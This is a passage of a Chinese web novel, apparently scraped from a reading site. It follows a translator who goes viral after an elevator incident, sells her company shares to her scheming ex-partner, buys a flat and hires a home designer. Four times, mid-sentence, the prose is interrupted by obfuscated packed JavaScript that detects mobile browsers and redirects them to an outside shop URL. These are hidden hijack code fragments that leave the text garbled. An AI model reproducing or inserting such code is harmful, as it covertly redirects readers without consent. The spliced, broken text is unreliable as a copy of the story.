物业人员和维修人员一起赶了过来,工人进了电梯进行维修了,物业则向他们连连道歉,并请他们上了工作人员专用的电梯。 再次站到电梯里后,黎尚轩忍不住开口:“你居然一点都不慌张啊,要是我一个人在里面的话可能直接就开始大喊大叫了。” 段黛的唇角稍微勾起了一下,但很快就放下了。她的表情变化不大,语气也十分平淡:“害怕有什么用。” “害怕又不能解决问题。” 25. 最讨厌不守时的人 #一命速通死亡电梯 #她冷静地好像重生了很多次一样 ——后面那个男生都懵了,这个女孩子好冷静啊。 ——她这操作太熟练了,感觉好像是重生了很多次一样。 ——太强了,我要是遇到这事估计就吓傻了…… 段黛和黎尚轩在电梯里的监控视频不知道为什么突然就在网上火了,刷到视频人都被视频里女生的冷静反应圈粉了,消防官号也出面表示,视频里女生的操作就是应对电梯下坠的正确方法。 紧接着就有小道消息称,电梯里的女生疑似翻译作者段黛。V博上有关注段黛的人立刻转发@了段黛,然后问:“段老师,这真是你吗?” 段黛闲来无事刷短视频打发时间的时候恰好刷到了这个视频,上面加了很多字幕,注明每一步都是在做什么。段黛一开始以为又是什么安全科普视频,看着看着忽然发现这视频里的人怎么这么眼熟? “……” 吃瓜吃到我自己。 段黛打开V博,这才看到铺天盖地的@,问她是不是“死亡电梯”的主角。段黛有些好笑,转发了消防官方发的那个视频道:“对,确实是我,当时来这里办一些事情,没想到遇到电梯故障。” 消防官方很快回复了:“段老师的自救是教科书级别的!” ——我靠,竟然真是段老师! ——段黛老师好淡定啊。 ——以前就很喜欢段黛的翻译…… ——原来主角还是个翻译家!i了i了! 段黛再打开V博时,就看到自己的粉丝量噌噌地往上涨,很快就破万了,这叫她颇为惊讶。没过两天关月兰说新书又得重印了,没想到上次加印了那么多本现在还不够用。她莫名其妙的火了竟然也带着书的销量上去了。 关月兰:【段黛,你还有多少惊喜是朕不知道的?】 段黛:【能增加销量就行。】 关月兰:【我天,你重点是这个吗?】 段黛:【当然啦,别的都是虚的,卖出去的书可都是真金白银的你的收入我的版税。】 关月兰:【……靠,好有道理。】 天气渐渐转凉,在外面稍微站一会儿就会满头大汗的时候终于过去了。只不过路边的树木依旧郁郁葱葱的,头顶的阳光也依旧猛烈,即便是迈入了秋季也昭示着盛夏的余温未去。 自从上次开会时,陈方烨说“以后用不着经常来公司了”之后,段黛已经很久没有再去“林深”的办公大楼了。在宋语瑶和刘总的邀请下,段黛这次终于又来了。 进入会议室后,段黛看到了很多生面孔,以前的合伙人倒是少了好几个。她挑了挑眉,没有说话,只是走到自己经常坐的位置坐下。 其中一个生面孔开了口,语气里不怀好意:“哟,这不是我们段大翻译吗?” 段黛瞥了他一眼,看着这个似乎和她年龄相仿的人道:“你谁啊。” “……” 生面孔一脸恼火:“你装什么?” 段黛淡淡地扫了这些人一眼,隐约记得这些好像都是陈方烨的朋友。由于陈方烨很少带段黛见他的“兄弟们”,所以记忆里对他们只有一个模糊的印象,并没有什么具体的信息。 刘总无奈地摇了摇头:“自从段姐你不来之后,陈总就撺掇他的朋友们来入股,我们原先的几个人已经把股份给他们走人了。” 段黛了然:“原来如此。” 陈方烨的“好兄弟”们当然是听陈方烨的话了,合伙人的组成一变,从前所有人都要看段黛的意思行事的局面自然也会消失。 段黛拍了拍他的肩膀:“没事,公章在我这,他们翻不出什么花来。” 离会议开始一分钟,会议室里乌泱泱地坐了一大群人,但陈方烨依然还没到。段黛有些不耐烦,手指放在桌子上“哒哒”地敲着:“他是不到时间坚决不来啊。” 宋语瑶笑道:“陈总一向如此。毕竟他是老板嘛,无组织无纪律一些也没人会骂他。” 话音刚落,有个戴着发箍的瘦高男人对着段黛开了口:“听说段大翻译前几天碰上电梯故障了啊?” 段黛抬了抬下巴,语气平淡:“是啊。” 那个瘦高男人当即露出了猥琐的神色:“那个地方可是酒店呢,你去酒店干什么?你还回头看了电梯里的那个男的,是和他去开房了吧?” 段黛似笑非笑地看着他,并不说话。 马上就有别人起哄:“怎么可能呀,段大翻译可是对咱们陈哥死心塌地,怎么可能去和别的男人开房……” “和谁开房?” 陈方烨推门而入,嘈杂的会议室瞬间安静了下来。陈方烨先看了一眼方才说话的几个人,接着扭头看向段黛:“你和别人开房?” 段黛并没有回答他。她看了一眼时间,语气平淡:“九点钟开会,现在已经9:03了。陈方烨,你的时间观念一如既往的差。” “你……” 马上有狗腿子替陈方烨开口:“我们陈哥都是老板了,就是迟到一个小时又怎么样?” 陈方烨本来面对段黛的数落还有几分战栗,仿佛回到了被她骂哭的那个夜晚。但是见自己的兄弟们都在这里,瞬间底气就很足了:“是啊,我就是迟到一个小时,你们也得给我等着。” 刘总无语地捂住了脸。宋语瑶“啧”了一声:“让他装起来了。” 段黛敲了敲桌子:“好了,既然来了就开始吧。特意把我都叫出来了,是又要有什么新决策吗?” 陈方烨打开电脑:“那是自然。不少人都说这么大的事不能不告诉你一声,所以劳驾您亲自跑一趟。” 段黛慢悠悠道:“这次做好分析报告和PPT展示了吧?可别又像上次那样单凭一张嘴了。” 陈方烨赶紧道:“我当然认真做了!” 说完之后,陈方烨的脸色又变了变。怎么他又开始被段黛牵着鼻子走了? 一开始力挺陈方烨的那群好哥们也感觉有点奇怪,怎么有种段黛才是老板的感觉? 在Season的注资下,陈方烨之前想要一步到位直接开遍全国的想法算是实现了。除了特别小的县城之外,大部分城市里都至少有一家“林深”。 但是和陈方烨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430652|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想法还是差别很大。 因为虽然都开了林深,可每座城市的店面最多不超过两家,哪怕是商申市这样的直辖市也是如此。偌大的城市只在一个地方有一家“林深”,以至于不少当地的居民认为这就是一个个体经营的小店,根本没想过这是一个奶茶品牌。 可以说是根本就没有达到陈方烨理想中的效果。 而今天开会,就是为了解决这个问题。陈方烨说了半天,大致内容就是要继续增加店铺,让城市的几个主要商业区都要有林深的门牌,最好能做到像临安市这样。 但是好笑的是这次陈方烨提出的依然是全国各地全面下手,并没有什么主要发力的城市。也就是说,陈方烨的意思是让全国各地都一下子密集地开满“林深”。 “……” 宋语瑶直接不客气道:“你自己听听这像话吗?” 陈方烨却不觉得如何:“不这样做我们怎么打开知名度,将来怎么和IP联名?” 宋语瑶只觉得好笑:“八字还没一撇呢,就已经想到联名了?” 陈方烨的那帮好哥们装模作样地看了看报告,然后嚷嚷着什么“风浪越大鱼越贵”,都说让陈方烨大胆干。陈方烨很满意这种不再被一堆人指指点点的感觉,转头问段黛:“你怎么看?” 段黛:“我用眼睛看……” “……” 段黛抱着手臂:“你的想法倒是挺有意思的,那钱呢?资金呢?还指望Season来帮忙?” 宋语瑶立刻接话:“Season也不会同意的。就算同意,那也需要更多的股份来交换才行。” 陈方烨微微一笑:“确实,目前我们公司的账面上拿不出这么多钱来,银行贷款也是杯水车薪……但有一个办法可以解决这个问题。” 所有人都看着他。 陈方烨:“让公司上市。” 宋语瑶猛地坐直了身体:“你疯了?” 刘总也皱眉:“陈总,林深现在的情况并不适合上市……” 陈方烨摆了摆手:“一旦上市,林深的市值翻倍,会有大量的资金进入,那个时候所有的问题都能迎刃而解。这样一来,林深不仅打开了全国的知名度,也正式迈向行业前列,成为第一梯队的企业。” 好哥们当即激动了起来:“都说苟富贵勿相忘,陈哥果然没忘了我们!在公司上市前带我们入局了!” 陈方烨做了个手势,几人立刻安静下来。他微微一笑:“如果有不同意的,那我们可以投票表决。” 现在的合伙人中有一大半都是陈方烨那边的人,就算是有人反对只怕也无济于事。陈方烨一直观察着段黛的神色,见她依旧一副波澜不惊的模样有些失望。 段黛有些好笑:“公章在我这呢,你们折腾这么多有什么用?” 陈方烨却笑了:“公章由企业总经理指定专人负责管理。段黛,之前我指定你管理公章,但是现在我要换人了。而且我的股份现在比你多百分之一,我才是股份最多的人。” 他点了点身边的几个人:“我以林深最大股东兼总经理的身份,要求你——归还公章。” 26. 你们吵吧,我要结果 会议室内大部分人都用一种不怀好意的眼神看着段黛。他们一直觉得段黛就是个没有脑子的舔狗,只要陈方烨一声令下,她就是精疲力尽也会为他做到。她舔了这么多年,像个狗皮膏药一样,怎么甩都甩不掉。他们有时都奇怪,难道段黛不知道陈方烨的心一直在鹿颖那里吗? 答案是知道。 那么在他们眼里,段黛就是上赶着犯贱。 这样卑微没有自尊的人怎么配得上他们陈哥? 现在段黛跟着他忙活了这么长时间,听说她突然反应过来开始给陈哥脸色看了,这还得了?是她一厢情愿地倒贴到现在的,不给点教训怎么行。 他们最喜欢给段黛“教训”了。 陈方烨则是热血沸腾,他终于对着段黛说出这句话来了! 一旦把公章要回,段黛就会彻底失去对林深的掌控。他也能就此摆脱名为段黛的阴影,让林深从真正意义上成为自己的公司。 段黛的脸上依旧平静。她环视四周,一只手放在桌子上,不紧不慢地敲着,发出规律的声响。 在《无人爱她》的后半截剧情里,其实也有类似的情况。那时是陈方烨的白月光鹿颖从国外回来了,陈方烨想把女主踢出局让鹿颖加入公司,于是在董事会里一通操作,并把管理层都换成自己的人。等原主反应过来时,自己已经被架空了。 那时的林深已经是上市大集团了,可不像现在这样还是个草台班子。而那时陈方烨的操作也要比现在复杂的多,女主面对的情况也会更麻烦。 没想到现在就面对“架空”的情况了。段黛无奈之余又有些好笑。她很想问问陈方烨,现在林深才多大规模,他至于吗? 段黛看向陈方烨:“你确定吗?” 陈方烨激动地手都在颤抖:“当然!我的要求都是完全合理的,你不会想耍赖吧?” 段黛轻轻叹了口气。 蠢货。 “可以啊。”她无所谓道。 “……” 陈方烨的那群兄弟们率先发出了欢呼,陈方烨自己也兴奋地直接站了起来:“那就……” “不过我今天也有一件事要宣布。”没等陈方烨把话说完,段黛就打断了他的话。 陈方烨扭头看向她,脸上多了几分不屑:“你还要刷什么花招……” 段黛平静地看向会议室的众人,用古井无波的语气抛出一个重磅炸|弹:“我决定卖掉我手中的股份,彻底离开林深。” 众人一片哗然,陈方烨更是原地愣住了。 “你……你是在跟我赌气?” 段黛笑了笑:“这段时间我思考了一下,我还是更喜欢读书写东西,过那种比较风花雪月的生活。经商对我来说太费精力了,哪怕是只持股坐等分红,也要担心其他掌权人会不会操作失误,让我赔的血本无归。” 陈方烨的脸色一下变得很难看了:“你是说我会操作失误……” 好兄弟们倒是反应过来了:“你要把股份卖给谁?” 段黛没有说话,只是转头看向宋语瑶。后者对上了她的眼神,两人相视一笑。陈方烨猛地反应了过来:“你要卖给Season?” 段黛手里也有20%的股份,如果卖给Season,那么Season就可以凭借40%的股份顶替陈方烨成为林深最大的股东!那陈方烨这个老板就会名存实亡,实际上的掌控绝对话语权的将会成为对家企业Season! 这和被收购了还有什么区别! “啪”的一声,陈方烨一掌拍在桌子上:“你们什么时候勾搭上的!” 宋语瑶一脸奇怪地看着他:“陈总说话可真难听,什么叫勾搭上的?” 段黛不像陈方烨那样大喊大叫的,她的声音不大,但逼得所有人不得不安静下来听她说话:“就是你们猜我是不是去开房的那次。那天宋语瑶小姐订了房间邀请我详细聊一下购买股份的事情,我在赴约的时候遇到了电梯故障,才有了那段监控视频。” 可笑的是,没有一个人怀疑她一个住在小区里从事自由职业的人去那栋公寓楼是在做什么,只是恶意地想着一些龌龊的事情,然后当着她的面造着她的黄谣。 宋语瑶佯装惊讶:“你们都看到那个视频了,居然没怀疑一下段黛去那里是见的谁吗?” 陈方烨面色紧绷着脸:“段黛,我们这么多年的感情了……你这么做,不厚道。” 段黛淡淡地瞥了他一眼,反问他:“这不是你期待的吗?现在我顺应你的想法,彻底离开林深,难道对你不好吗?” 陈方烨额上青筋暴起,他是想把段黛尽快赶出去,可也没想让她连股份都交出来! 段黛继续:“当然,我也不是说一定要把股份卖给Season。宋语瑶说,Season愿意用高于市场价1%的价格收我手上的股份,我当然是希望到手的钱越多越好的,所以如果有人能开出更高的价格,我也可以把股份卖给他。” 陈方烨当即道:“卖给我!我可以用高于市场价2%的价格!” 宋语瑶不紧不慢:“3%Season也出的起。” 陈方烨:“4%!” 宋语瑶:“5%。” 刘总傻了眼了,没想到这场会议最后成了段黛的股份拍卖现场。原先嚣张的好兄弟们此刻都不敢说话了,只能看着他们剑拔弩张。 陈方烨想了想自己手里能拿出来的钱,又想了想公司的流动资金,额上青筋暴起:“你这是在逼我!” 段黛一脸淡漠:“至少我是在公司上市前提出卖股份的。等到公司上市后股价上涨,可就不是你能轻易收购的情况了。” 陈方烨满脸痛苦,方才的激动早就荡然无存了:“求你了段黛,别卖给Season……你……你要不再问问其他人,说不定就有愿意以更高的价格买下股份的人呢……” 段黛面无表情:“我懒得费那个功夫。现在送到我眼前的只有Season和你了,你们吵吧,谁开的价高我就卖给谁。或者你问问你的好哥们,有没有愿意帮你忙的呢?” 陈方烨扭头看了那边一眼,一排人都缩着脖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451121|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像个鹌鹑一样。 他们哪懂这些,他们哪有这么多钱。 宋语瑶微笑着又添了一把火:“Season成为最大股东之后,我会要求撤掉陈方烨总经理的职位,你的工作能力和决策水平实在令人堪忧。” “我们陈哥怎么就没有能力了!” 宋语瑶摊手:“有能力的话至于现在这么狼狈?” 陈方烨闭了闭眼,在脑子里盘算着自己名下的资产。 宋语瑶单手托着脸:“还买吗?不买的话我就按照5%和段黛签合同了。” 陈方烨深吸一口,终于下定了决心,痛苦道:“6%。” 宋语瑶“啧”了一声:“算你狠。5%是我们能出的最高价了,再多就不值了。” 不过她的表情可完全没有可惜的意思。 事实上Season并没有一定要买段黛手里股份的意思。但如果能让陈方烨陷入被动的局面,那么对Season后续的计划也是大有裨益的。 那天两人碰面之后,段黛合计了一下陈方烨名下的所有资产,宋语瑶帮忙做了详细地计算,最终确定陈方烨能拿出的最高价格就是高于市场价的6%。 当时宋语瑶还有些担心:“万一他不愿意买怎么办?” 段黛不紧不慢道:“那就不买嘛,没什么大不了的。你可以说Season改了决策不想买了,反正你身后有Season坐镇,他们也不能说你什么。” 宋语瑶当然不担心自己了,她问段黛:“那你呢?万一你说着自己要卖掉股份,结果还是留着股份没卖,那岂不是……有点丢脸?” 段黛不以为意:“丢点脸怕什么,他们爱说啥说啥,反正我平时也不在公司,他们说什么我也听不见。” 宋语瑶佩服极了段黛那宠辱不惊的心态:“林深没了你坐镇,确实是要走下坡路了。” 段黛笑了笑。原主在的话确实会让林深做大做强,但她可就不一定了。与其硬着头皮做自己不擅长的事情,倒不如快刀斩乱麻,尽快脱手才是。 更何况她相信陈方烨一定会破釜沉舟买下她的股份的。尽管段黛一直不在公司,但陈方烨的种种小动作并没有逃出她的眼睛。之前合伙人的陆续退出也是在她知晓的情况下进行的,离开林深后他们投资了其他更加稳妥的初创公司,前途比留林深只好不坏。 陈方烨的种种行径无非是不想再被掣肘,他怎么可能允许自己辛苦经营出来的优势被她轻而易举的打破。 所以他一定会买的。 宋语瑶当即叫来了公司的法务,现场帮段黛拟好了合同。段黛利落地签下了名字:“半个月之内将钱款打到我的账户上,合同会在钱全部到齐后立即生效。公章我也会马上快递送来公司,记得请一个靠谱的人保管。” 她将合同推到陈方烨面前:“该你了。” 陈方烨抖着手签下了自己的名字。他深深地看了段黛一眼:“段黛,你可不要后悔。” 段黛微微一笑,语气从容:“愿林深如你希望的那样,日渐壮大。” 27. 行动力的神 股份卖掉后,段黛的账面上一下子出现了一大笔钱,足够她小小的挥霍一下了。听说陈方烨为了凑足钱又是卖房又是卖车的,还跟那群好兄弟借了一圈。那群好兄弟平时看着挺铁的,一说到借钱立刻不说话了,听说最后闹得还挺难看的。 至此,段黛彻底摆脱了林深,再也不会有其他的事务来分散她作为一名翻译的精力了。 看着账户里的钱,段黛松了一口气,转头告诉了关月兰这个消息。 关月兰连发三个问号:【你把公司股份卖了?什么时候的事?】 段黛:【我这几个月都在忙这个事,就是想尽可能多的换些钱来。好在最后用很高的价格把股份卖出去了,以后再也不用担心公司的破事会影响我翻译了。】 关月兰:【???我靠,你可真是闷声干大事。】 关月兰:【那你接下来打算是,投资别的公司?】 段黛:【我要买房。】 关月兰:【好家伙。我直呼好家伙。】 段黛:【当然也会投资的,不过不急。我的本职工作就是翻译,不会在投资上花太多精力的。】 之后段黛立刻约了中介看房,只看市中心离高校近且在地铁交汇位置的楼盘,并且清一色的都是面积在二百平以上的大平层。只用了一上午,段黛就选中了一个环境不错且物业负责的小区,然后迅速敲定了楼层,签下了合同,全款拿下了一套房子。 站在还是毛坯的大平层里,段黛由衷地感谢陈方烨:“感谢前夫哥倾家荡产助我买房。” 虽然房已经买了,但还是毛坯,得装修之后才能住。段黛没有急着联系装修公司,而是先找了一家评价不错的设计公司,请了一位设计师来。 都知道装修是项费心费力的大工程,但段黛深谙有钱能使鬼推磨的道理。对于一些年轻的设计师来说,只要在设计费上不吝啬,他们会很愿意帮忙全程盯着装修的落实的。 设计公司给她看了一些设计师的案例,段黛挑了一个擅长中古风格的设计师。这位设计师姓代,四十多岁了,不论是豪宅还是老破小都做过,可谓是经验丰富了。段黛直接约他来了新房子这里,这样方便设计师看过之后先给一个初步报价。 代先生来到楼下后,看到段黛后伸出手来:“你好你好,你就是段黛小姐吧?” 段黛礼节性地伸出手来和他虚握了一下,开口道:“先上去看看房子的情况吧。” 进了电梯之后,代先生先是借着电梯的反光把段黛打量了一番,然后开口道:“段小姐是要装婚房吗?你可以让你丈夫来和我对接更多的事情……” 段黛察觉到了他的视线,忍不住蹙眉。这个设计师给她的感觉……不太好。 她淡淡道:“不是婚房,是我自己住。” 代先生有些意外:“自己住?你未婚吗?” “是啊。” 代先生一脸不可思议:“看来你父母挺疼你的,婚前就送你这么大一套房子。” 段黛嗤笑一声:“房子是我自己买的。” “……” 代先生擦了擦额头上的汗,笑道:“没看出来啊,段小姐居然是新时代独立女性呢。” “独立女性”四个字被他咬重了读音,听起来粘腻又恶心。说着他忽然做出一副恍然大悟的样子:“听说段黛小姐是自由职业?果然嘛,自由职业赚钱就是比我们这些劳动人民要容易的多啊。哈哈哈……” 段黛板起一张脸,摸了摸口袋里的打孔钳。随身携带打孔钳真是一个好习惯,幸好她保持下去了。 电梯门开了,段黛却按了关门键,重新点了一楼。代先生愣了一下:“段小姐,你这是……” 段黛轻笑一声:“自由职业赚钱快,你很懂嘛。这么说你知道我是做什么的了?” 闻言,代先生马上露出了一个“果然如此”的笑容:“哎呀,说出来干什么,还怪不好意思的……” 段黛语气平淡:“换设计师,你回去吧。” 代先生懵了,接着有些不可置信:“不至于吧,我不就是不太相信你能自己买这么贵的房子吗?我设计的经验相当丰富,公司里可再找不出比我更有资历的设计师了。” 段黛依旧面无表情:“无所谓,我又不是要设计皇宫,水平差不多就行了。还没见到房子呢爹味儿就这么重,以后签合同了那还得了?行了,我可不想花钱给自己找气受。” “你!”代先生很是生气,“我说错了吗?现在有几个女人有能力自己买这么贵的房子的?你自己的钱买的……呵,还不知道是怎么赚的呢。” 段黛松开了手机上的录音键,把录音转手发给了设计公司的客服,接着直接当着代设计师的面发语音:“听见了吗?你们公司的设计师挺狂的,原本看你们口碑好才选的你们家,这样看我要不还是换公司吧。” 代先生傻眼了。他没料到段黛居然还录了音,更没料到段黛直接把录音发到了客服那边去。客服的工资虽然低的很,但却是直接对接管理层的,客户投诉之类的事情都是客服在管,万一要是投诉了哪个设计师,管理层很快就会知道。到时候能分配给他的订单就…… 代设计师冷汗直冒,不由得恼羞成怒:“你非要做的这么绝是吧?现在房地产不景气,谁这个时候买房谁傻逼,也就你这样胸大无脑头发长见识短的女人看着房价低就冲了……” 段黛松手,语音在发出去的瞬间就开始播放了,于是代设计师又听到了他自己的声音:“……你非要做的这么……” 代设计师像是一只被掐住了脖子的鸡,好半天才道:“你怎么……你怎么……” 你怎么还在录音! 段黛伸手拈起了他脖子上的胸牌,点点手机拍了一张照片:“说起来你可能不信,我虽然不是网红,但是V博上的粉丝还不少。你说这两条语音加上你的这连名带姓的设计师名牌一起发到网上去,对你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473439|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职业生涯会不会有什么影响?到时候可就不止公司打压你了,将来就算跳槽也没有哪家愿意冒着风险用你吧?” “……” 段黛掏出了打孔器,放在手里漫不经心地甩了甩:“噢对了,不要想着狗急跳墙哦。一方面你可能打不过我,另一方面电梯里的监控已经装好了,现在也有人看你呢。” “一楼到了——” 电子音响起,电梯门应声而开。靠在门上的代设计师退一软跌坐在地上。 好半天他反应了过来,低声求饶:“对不起段小姐,是我不该乱说话的,求你……求你别在网上说我……” 段黛依然站在电梯里没动,语气凉飕飕道:“行了,你回去吧。我不想多浪费时间。” 代设计师连滚带爬地跑了。 有了爹味儿设计师的经历,段黛这次可不敢随便就叫人来新家了,哪怕是毛坯房也不行。她直接来了装修公司,在会客厅里坐下,提出的要求简明扼要:“我要女设计师。” 销冠是女性这件事果然是有道理的,至少不会爹味儿的对客户说“我觉得你应该怎样怎样”。 工作人员拿起平板仔细看了看,有些尴尬道:“不好意思段小姐,我们公司的女设计师比较抢手,现在基本都……都有项目在跟进……” 段黛挑眉:“一个也没有?” 工作人员迟疑了一会儿,道:“还是有一个的,这个设计师也经常给独居女客户设计房子,但是她擅长的是奶油风ins风……” 段黛思索了片刻:“她是没做过中古风,还是不擅长中古风?” 工作人员想了想,还是点开一个案例给她看:“其实她也对接过要求中古风的客户,但是设计图一出就被换掉了……这是她唯一一个做过的中古风案例……怎么说呢,就……” 段黛看了一眼图片,终于明白为什么工作人员欲言又止了。 这哪是什么中古风,这就是不那么奶油的奶油风而已。 一瞬间段黛甚至产生了要不要换个设计公司的想法。可是这家公司是她反复做过功课后才挑中的,其他临安市的装修公司总是或多或少存在点毛病。要是挑选外地的装修公司的话,设计师的住宿也是个问题。 她也不想把事情弄的太麻烦了。 最后段黛叹了口气:“算了,男设计师也行,给我看看案例吧。” 工作人员松了口气,赶紧把平板递给了她。 段黛慢悠悠地查看着各个设计师的装修案例,筛选了半天,最后点了一个设计书房案例比较多的设计师:“就这个吧。” 工作人员点头:“正好这位设计师就在公司里,你们可以先交流一下。” 段黛点了点头,坐在沙发上玩着手机。 黎尚轩推开会客厅的门时,段黛恰好听到声音抬起了头。 “……啊?” 两人四目相对,一起发出了灵魂质问:“居然是你?” 28. 原来你是设计师 段黛挑设计师的时候只顾着看案例了,根本没注意设计师的名字是什么。再加上她和黎尚轩还不太熟,所以对这三个字并不敏感,就算偶尔有一眼扫到了名字也没想到什么。以至于她完全没意识到自己选中的设计师就是黎尚轩。 在公司的黎尚轩穿着相对正式一些,他走到她对面的位置上坐下,笑道:“没想到再见面,你竟然变成我的甲方了。” 段黛笑了笑:“我也没想到你居然是家装设计师。我看你有很多设计书房的案例,所以就选了你了。” 两人一起感慨了一下这奇妙的巧合,接着就开始聊装修设计的事情了。 段黛简单说了一下自己的要求:“不需要客厅,除了厨房、卧室、卫生间都做成书房。风格以中古风为主,但是不要太复杂太莫名其妙的装饰,要方便扫地机器人之类自动化打扫的家电的使用……其实我列了个表格,直接发给你看吧。” 因为那位代大设计师,段黛在昨天晚上写了一个长长的Excel。新设计师如果看到诸多要求后说做不了,那她也好节约时间赶紧换下一个。说着段黛就找到了自己昨天晚上发到手机上的文件,正准备一键转发时,忽然意识到自己还没加黎尚轩的V信。 是了,他们认识了这么长时间了,偶遇了这么多次,却依然连个联系方式都没加。 他们第一次见面时,段黛出于还人情的考虑提出了加V信的事情,但黎尚轩觉得不过是举手之劳,再加上他们说到底只是陌生人,他也没有要借着这个机会搭讪认识异性的想法,于是就拒绝了。 段黛对此更是无所谓了。既然对方拒绝了,自己也没强求,后来哪怕再见面也没提过这回事。 黎尚轩立刻亮出自己的二维码来:“先加上联系方式吧,以后要聊的可就多了。” 段黛点了点头,扫了码之后备注上了“设计师黎尚轩”,接着就把Excel转发了过去。 黎尚轩点开文档后,看着一百多行内容吃了一惊。但仔细一看,每个要求都很具体,后面甚至还贴了一些例图,用一种虽然不专业但非常好理解的方式表达了她的各项需求。这对于他的工作来说反而是好事了。 段黛盯着他的脸,试探性地开口道:“要求多吗?” 黎尚轩摇头:“要求明确总比语焉不详最后怎么改都不满意的要好。” 段黛点了点头:“那就好。” 虽然是男设计师,但黎尚轩看起来好像没有什么爹味儿的样子,段黛稍稍松了口气。想来黎尚轩也算是见义勇为的人,应该不至于太过离谱。 黎尚轩低着头,正一条一条地看着她的要求。段黛抱着手臂坐在沙发上,随口道:“其实在你之前我还找了一个设计师,但是和他说话我感觉很不舒服,所以我就换人了。” 黎尚轩的脸上毫无惊讶神色:“是代哥吧?他那人一股爹味儿,跟谁都喜欢说教。要是有钱有势的男客户和他对接还好点,至少是代哥舔着别人。若是碰上女客户或者不那么富裕的客户可就完了,不太敏感的只觉得和他交流起来很累,敏感一些的会评价说设计不错但说话很难听。你能及时把他换了也好,不然这装修少则几个月多则一两年,受的气可就更多了。” 段黛有些意外,没想到黎尚轩居然完全没有要给自家公司辩解的意思:“原来这个代大设计师的事迹……这么有名啊?” 黎尚轩点了点头:“他经常看不起人,但毕竟业务能力强,如果是对接那些要设计豪宅的客户倒也看不出什么端倪来。毕竟没出过什么大事,所以公司也一直留着他。” 说完他也有些不可思议:“按理说工作人员会看着不让女客户接触到他才是,没想到竟然让你碰上了。” 段黛道:“我是根据案例挑的,然后那边就同意了。” 黎尚轩叹了口气:“能及时止损,也是挺好的。就算他水平再厉害,装修这段时间你也得承受他的精神攻击。” 段黛深表同意:“幸好我从不自我内耗,只会发疯外耗别人。如果和人接触感觉不舒服,那一定是别人不好,绝对不是我的问题。” 段黛以前其实和原主是有些相似的,她也有过讨好型人格,只是没有原主那么过分罢了。后来不知道什么时候段黛忽然就醒悟了:所以我为什么要自己为难自己? 既然大部分人和我的关系都不错,那么有人讨厌我一定不是我的问题。当然,我主动讨厌的人一定更有问题。 我讨厌的人,一定不是什么好鸟。 不消耗自己后段黛轻松了很多,再也没有因为人际关系而自我内耗过。 黎尚轩忍不住笑了:“难怪你能用最快的速度把代哥换了。” 保存好了文件后,他接着对段黛道:“我们的工作主要就是设计,但装修这件事本来就是理想和现实有很大差距的,所以后续我也会根据装修的实际情况来进行灵活变动。我看了一下你的房子的情况,估计的设计费应该是在……” 他在平板上操作了一下,打出了一个报价区间,然后转给段黛看:“具体的报价要看到你的房子并设计出定稿之后才能确定,但不会超过这个区间。你看可以接受吗?” 段黛看了一眼,爽快道:“这个没问题。” 黎尚轩松了一口气,他最不擅长的就是和客户讨价还价了,如果客户要压低设计费,他还真不知道应该怎么处理。 段黛又道:“我这里也有个情况需要你了解一下。大概再过一个月我就会出国,在国外会呆上三到四个月。在出国前我会尽量把该敲定的东西都定下来,出国期间我们可以通过V信联络,但毕竟我人不在临安,所以很多事情还得设计师多操心一些。你看这种情况你可以接受吗?” 黎尚轩问:“定稿之后就完全按照设计图来装修就可以了是吗?” 段黛点了点头:“术业有专攻,我相信设计师。” 得到想要的回答后,黎尚轩颔首:“这个没问题。” 黎尚轩非常喜欢和这种给钱大方并且还信任他的客户合作,这样工作时能省去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489654|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他很多不必要的麻烦。而段黛也很高兴对方愿意替自己自己花心思跟进装修的事情,让自己不必耗费太多精力。 等段黛从国外回来,装修基本上步入了尾声。黎尚轩可以全程掌控工作,段黛可以直接入住新家。两人简直是一拍即合。 黎尚轩道:“那你什么时候有空?我们去新房子那里看看情况。” 段黛思考了一下:“现在可以吗?” “当然可以。” 两人立刻站了起来,一起走了出去。 